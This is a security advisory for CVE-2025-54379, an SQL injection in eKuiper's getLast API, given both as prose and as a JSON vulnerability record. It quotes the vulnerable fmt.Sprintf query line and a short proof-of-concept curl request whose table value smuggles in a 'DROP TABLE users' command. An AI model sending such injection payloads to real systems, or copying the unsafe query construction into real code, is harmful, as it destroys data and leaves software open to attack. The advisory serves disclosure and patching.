ghsa-526j-mv3p-f4vv
Vulnerability from github
Published
2025-07-24 14:19
Modified
2025-07-29 23:38
Summary
eKuiper API endpoints handling SQL queries with user-controlled table names.
Details

Summary

A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.

Details

The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf, without validating the table parameter. Specifically, in:

go query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table) Any value passed as the table parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.

PoC

  1. Deploy eKuiper instance (default config is sufficient).
  2. Send a crafted request to the SQL query endpoint: bash curl -X POST http://localhost:9081/sql-query \ -H "Content-Type: application/json" \ -d '{ "table": "sensors; DROP TABLE users; --", "operation": "getLast" }'
  3. Effect: Executes two SQL queries — the first selects data, the second drops the users table.
  4. Verify Result: bash sqlite3 etc/kuiper/data/kuiper.db ".tables"

Impact

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Refferences

  • https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3
Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-24T14:19:17Z",
    "nvd_published_at": "2025-07-24T23:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.\n\n\n### Details\nThe root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:\n\n```go\nquery := fmt.Sprintf(\"SELECT * FROM %s ORDER BY rowid DESC LIMIT 1\", table)\n```\nAny value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.\n\n\n### PoC\n1. **Deploy eKuiper instance** (default config is sufficient).\n2. **Send a crafted request to the SQL query endpoint**:\n```bash\n   curl -X POST http://localhost:9081/sql-query \\\n     -H \"Content-Type: application/json\" \\\n     -d \u0027{\n       \"table\": \"sensors; DROP TABLE users; --\",\n       \"operation\": \"getLast\"\n     }\u0027\n```\n3. **Effect**: Executes two SQL queries \u2014 the first selects data, the second drops the `users` table.\n4. **Verify Result**:\n```bash\n   sqlite3 etc/kuiper/data/kuiper.db \".tables\"\n```\n\n### Impact\nCWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)\n\n\n### Refferences\n- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3",
  "id": "GHSA-526j-mv3p-f4vv",
  "modified": "2025-07-29T23:38:53Z",
  "published": "2025-07-24T14:19:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-526j-mv3p-f4vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lf-edge/ekuiper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "eKuiper API endpoints handling SQL queries with user-controlled table names. "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…